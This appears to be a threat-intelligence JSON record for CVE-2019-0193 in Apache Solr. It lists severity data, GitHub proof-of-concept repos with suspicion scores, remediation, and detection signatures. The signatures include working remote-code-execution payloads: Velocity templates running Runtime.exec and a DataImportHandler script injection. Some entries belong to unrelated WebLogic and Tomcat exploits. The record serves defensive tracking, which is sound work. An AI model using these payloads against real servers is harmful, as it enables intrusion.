{
  "id": "CVE-2019-0193",
  "url": "https://poc.griffinguard.io/cve/CVE-2019-0193",
  "published_at": "2019-08-01T13:48:40Z",
  "title": "Apache Solr DataImportHandler Code Injection Vulnerability",
  "vendor": "Apache",
  "product": "Apache Solr",
  "cvss": {
    "score": 7.2,
    "source": "cisa-adp",
    "vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  },
  "kev": {
    "in_kev": true,
    "added_at": "2021-12-10",
    "known_ransomware_campaign_use": "Unknown",
    "days_after_publication": 862
  },
  "first_poc": {
    "created_at": "2019-03-18T13:18:01Z",
    "first_seen_at": "2026-11-14T11:25:11.578Z",
    "days_after_publication": -136,
    "repo": "xConsoIe/CVE-2019-0193",
    "source": "github"
  },
  "poc_repo_count": 5,
  "exploit_count": 1,
  "suspicious_repo_count": 0,
  "edge_device": null,
  "description": "In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's \"dataConfig\" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property \"enable.dih.dataConfigParam\" to true.",
  "cwe": "CWE-94",
  "cvss_by_source": {
    "cisa-adp": 7.2
  },
  "repos": [
    {
      "repo": "xConsoIe/CVE-2019-0193",
      "url": "https://github.com/xConsoIe/CVE-2019-0193",
      "created_at": "2019-03-18T13:18:01Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 7,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 30,
      "suspicious": false,
      "suspicion_reasons": [
        "owner account created less than 7 days before the repo"
      ],
      "status": "analyzed",
      "owner_created_at": "2019-03-11T21:04:38Z"
    },
    {
      "repo": "jas502n/CVE-2019-0193",
      "url": "https://github.com/jas502n/CVE-2019-0193",
      "created_at": "2019-08-09T06:27:39Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 90,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-01-07T12:20:39Z"
    },
    {
      "repo": "1135/solr_exploit",
      "url": "https://github.com/1135/solr_exploit",
      "created_at": "2019-08-12T07:17:21Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 64,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2016-05-22T11:36:04Z"
    },
    {
      "repo": "jaychouzzk/CVE-2019-0193-exp",
      "url": "https://github.com/jaychouzzk/CVE-2019-0193-exp",
      "created_at": "2019-09-03T21:16:24Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 1,
      "is_poc": "no",
      "kind": "writeup",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2018-12-03T03:28:28Z"
    },
    {
      "repo": "scxiaotan1/Docker",
      "url": "https://github.com/scxiaotan1/Docker",
      "created_at": "2020-04-17T02:51:07Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "listed by PoC Index",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2015-02-28T03:02:02Z"
    },
    {
      "repo": "freeFV/ApacheSolrRCE",
      "url": "https://github.com/freeFV/ApacheSolrRCE",
      "created_at": "2022-09-13T08:38:30Z",
      "first_seen_at": "2026-11-14T11:25:11.578Z",
      "stars": 0,
      "is_poc": "yes",
      "kind": "exploit",
      "suspicion_score": 0,
      "suspicious": false,
      "suspicion_reasons": [],
      "status": "analyzed",
      "owner_created_at": "2017-10-05T10:50:22Z"
    }
  ],
  "remediation": {
    "affected": [
      {
        "vendor": "",
        "product": "org.apache.solr:solr-core",
        "ranges": [
          "\u003c 8.2.0"
        ],
        "fixed_in": [
          "8.2.0"
        ],
        "ecosystem": "Maven",
        "advisory": "GHSA-3gm7-v7vw-866c"
      }
    ],
    "upgrade": [
      "Upgrade org.apache.solr:solr-core to 8.2.0 or later."
    ]
  },
  "exploit_refs": [
    {
      "url": "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0193.yaml",
      "source": "nuclei",
      "title": "nuclei template: Apache Solr DataImportHandler \u003c8.2.0 - Remote Code Execution",
      "published_at": "2023-04-27T04:28:59Z",
      "first_seen_at": "2026-11-14T10:26:36.149Z"
    }
  ],
  "hunt_profile": [
    {
      "method": "GET",
      "path_template": "/solr/core_name/select",
      "query_markers": [
        "q=1",
        "wt=velocity",
        "v.template=custom",
        "v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('ls -al')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
      ],
      "ports": [
        8983
      ],
      "protocol": "http",
      "repos": [
        "1135/solr_exploit"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "1135/solr_exploit/RCE via Velocity template 2019.10.30.md:92"
      ]
    },
    {
      "method": "GET",
      "path_template": "/solr/te1/config",
      "body_markers": [
        "Host: 172.17.0.3:8983"
      ],
      "protocol": "http",
      "repos": [
        "scxiaotan1/Docker"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "scxiaotan1/Docker/CVE-2019-0193/README.md:18"
      ]
    },
    {
      "method": "GET",
      "path_template": "/solr/test/select",
      "query_markers": [
        "q=1",
        "wt=velocity",
        "v.template=custom",
        "v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
      ],
      "ports": [
        8983
      ],
      "protocol": "http",
      "repos": [
        "1135/solr_exploit"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "1135/solr_exploit/RCE via Velocity template 2019.10.30.md:38"
      ]
    },
    {
      "method": "POST",
      "path_template": "/solr/core_name/config",
      "body_markers": [
        "\"update-queryresponsewriter\"",
        "\"startup\":\"lazy\"",
        "\"name\":\"velocity\"",
        "\"class\":\"solr.VelocityResponseWriter\"",
        "\"template.base.dir\"",
        "\"solr.resource.loader.enabled\":\"true\"",
        "\"params.resource.loader.enabled\":\"true\""
      ],
      "content_type": "application/json",
      "ports": [
        8983
      ],
      "protocol": "http",
      "repos": [
        "1135/solr_exploit"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "1135/solr_exploit/RCE via Velocity template 2019.10.30.md:63"
      ]
    },
    {
      "method": "POST",
      "path_template": "/solr/test/config",
      "body_markers": [
        "\"update-queryresponsewriter\"",
        "\"startup\":\"lazy\"",
        "\"name\":\"velocity\"",
        "\"class\":\"solr.VelocityResponseWriter\"",
        "\"template.base.dir\"",
        "\"solr.resource.loader.enabled\":\"true\"",
        "\"params.resource.loader.enabled\":\"true\""
      ],
      "content_type": "application/json",
      "ports": [
        8983
      ],
      "protocol": "http",
      "repos": [
        "1135/solr_exploit"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "1135/solr_exploit/RCE via Velocity template 2019.10.30.md:17"
      ]
    },
    {
      "method": "POST",
      "path_template": "/solr/tika/config",
      "headers": [
        {
          "name": "Accept",
          "value": "*/*"
        }
      ],
      "body_markers": [
        "\"set-property\"",
        "\"requestDispatcher.requestParsers.enableRemoteStreaming\"",
        "\"requestDispatcher.requestParsers.enableStreamBody\""
      ],
      "content_type": "application/json",
      "ports": [
        80,
        5555,
        8983
      ],
      "protocol": "https",
      "repos": [
        "1135/solr_exploit"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "1135/solr_exploit/README.md:157"
      ]
    },
    {
      "method": "POST",
      "path_template": "/solr/tika/dataimport",
      "query_markers": [
        "command=full-import",
        "verbose=false",
        "clean=false",
        "commit=false",
        "debug=true",
        "core=tika",
        "name=dataimport",
        "dataConfig="
      ],
      "headers": [
        {
          "name": "Accept",
          "value": "application/json, text/plain, */*"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"
        },
        {
          "name": "Referer",
          "value": "http://solr.com:8983/solr/"
        },
        {
          "name": "X-Requested-With",
          "value": "XMLHttpRequest"
        }
      ],
      "body_markers": [
        "command=full-import",
        "verbose=false",
        "clean=false",
        "commit=false",
        "debug=true",
        "core=tika",
        "name=dataimport",
        "dataConfig="
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8983
      ],
      "user_agents": [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0"
      ],
      "protocol": "http",
      "repos": [
        "1135/solr_exploit"
      ],
      "repo_count": 1,
      "confidence": 0.85,
      "evidence": [
        "1135/solr_exploit/README.md:83",
        "1135/solr_exploit/README.md:176"
      ]
    },
    {
      "method": "GET",
      "path_template": "/solr/admin/cores",
      "query_markers": [
        "_=1565526689592",
        "indexInfo=false",
        "wt=json"
      ],
      "ports": [
        8983
      ],
      "protocol": "https",
      "repos": [
        "jas502n/CVE-2019-0193"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "jas502n/CVE-2019-0193/CVE-2019-0193.py:21"
      ]
    },
    {
      "method": "GET",
      "path_template": "/solr/{var}/dataimport",
      "query_markers": [
        "_=1565530241159",
        "command=show-config",
        "indent=on",
        "wt=json",
        "command=status"
      ],
      "ports": [
        8983
      ],
      "protocol": "https",
      "repos": [
        "jas502n/CVE-2019-0193"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "jas502n/CVE-2019-0193/CVE-2019-0193.py:40",
        "jas502n/CVE-2019-0193/CVE-2019-0193.py:52"
      ]
    },
    {
      "method": "GET",
      "path_template": "/ws_utc/css/config/keystore/{var}_360sglab.jsp",
      "headers": [
        {
          "name": "X-Requested-With",
          "value": "XMLHttpRequest"
        }
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        7001
      ],
      "protocol": "http",
      "repos": [
        "xConsoIe/CVE-2019-0193"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "xConsoIe/CVE-2019-0193/start.py:92"
      ]
    },
    {
      "method": "GET",
      "path_template": "/ws_utc/resources/setting/options/general",
      "ports": [
        7001
      ],
      "user_agents": [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0"
      ],
      "protocol": "http",
      "repos": [
        "xConsoIe/CVE-2019-0193"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "xConsoIe/CVE-2019-0193/start.py:19",
        "xConsoIe/CVE-2019-0193/start.py:25"
      ]
    },
    {
      "method": "GET",
      "path_template": "/{var}",
      "query_markers": [
        "cmd="
      ],
      "user_agents": [
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
      ],
      "protocol": "http",
      "repos": [
        "scxiaotan1/Docker"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "scxiaotan1/Docker/CVE-2017-12617/tomcat-cve-2017-12617.py:65",
        "scxiaotan1/Docker/CVE-2017-12617/tomcat-cve-2017-12617.py:115"
      ]
    },
    {
      "method": "POST",
      "path_template": "/solr/{var}/dataimport",
      "query_markers": [
        "_=1565530241159",
        "indent=on",
        "wt=json"
      ],
      "headers": [
        {
          "name": "Accept",
          "value": "application/json, text/plain, */*"
        },
        {
          "name": "Accept-Language",
          "value": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
        },
        {
          "name": "Referer",
          "value": "http://{var}/solr/"
        },
        {
          "name": "X-Requested-With",
          "value": "XMLHttpRequest"
        }
      ],
      "body_markers": [
        "command=full-import",
        "verbose=false",
        "clean=true",
        "commit=true",
        "debug=true",
        "core=atom",
        "dataConfig=%%3CdataConfig%%3E%%0A++%%3CdataSource+type%%3D%%22URLDataSource%%22%%2F%%3E%%0A++%%3Cscript%%3E%%3C!%%5BCDATA%%5B%%0A++++++++++function+poc()%%7B+java.lang.Runtime.getRuntime().exec(%%22",
        "name=dataimport"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        8983
      ],
      "user_agents": [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
      ],
      "protocol": "https",
      "repos": [
        "jas502n/CVE-2019-0193"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "jas502n/CVE-2019-0193/CVE-2019-0193.py:78"
      ]
    },
    {
      "method": "POST",
      "path_template": "/ws_utc/resources/setting/options",
      "headers": [
        {
          "name": "X-Requested-With",
          "value": "XMLHttpRequest"
        }
      ],
      "body_markers": [
        "setting_id=general",
        "BasicConfigOptions.workDir=",
        "BasicConfigOptions.proxyHost=",
        "BasicConfigOptions.proxyPort=80"
      ],
      "content_type": "application/x-www-form-urlencoded",
      "ports": [
        7001
      ],
      "protocol": "http",
      "repos": [
        "xConsoIe/CVE-2019-0193"
      ],
      "repo_count": 1,
      "confidence": 0.7,
      "evidence": [
        "xConsoIe/CVE-2019-0193/start.py:69"
      ]
    }
  ],
  "rules": []
}
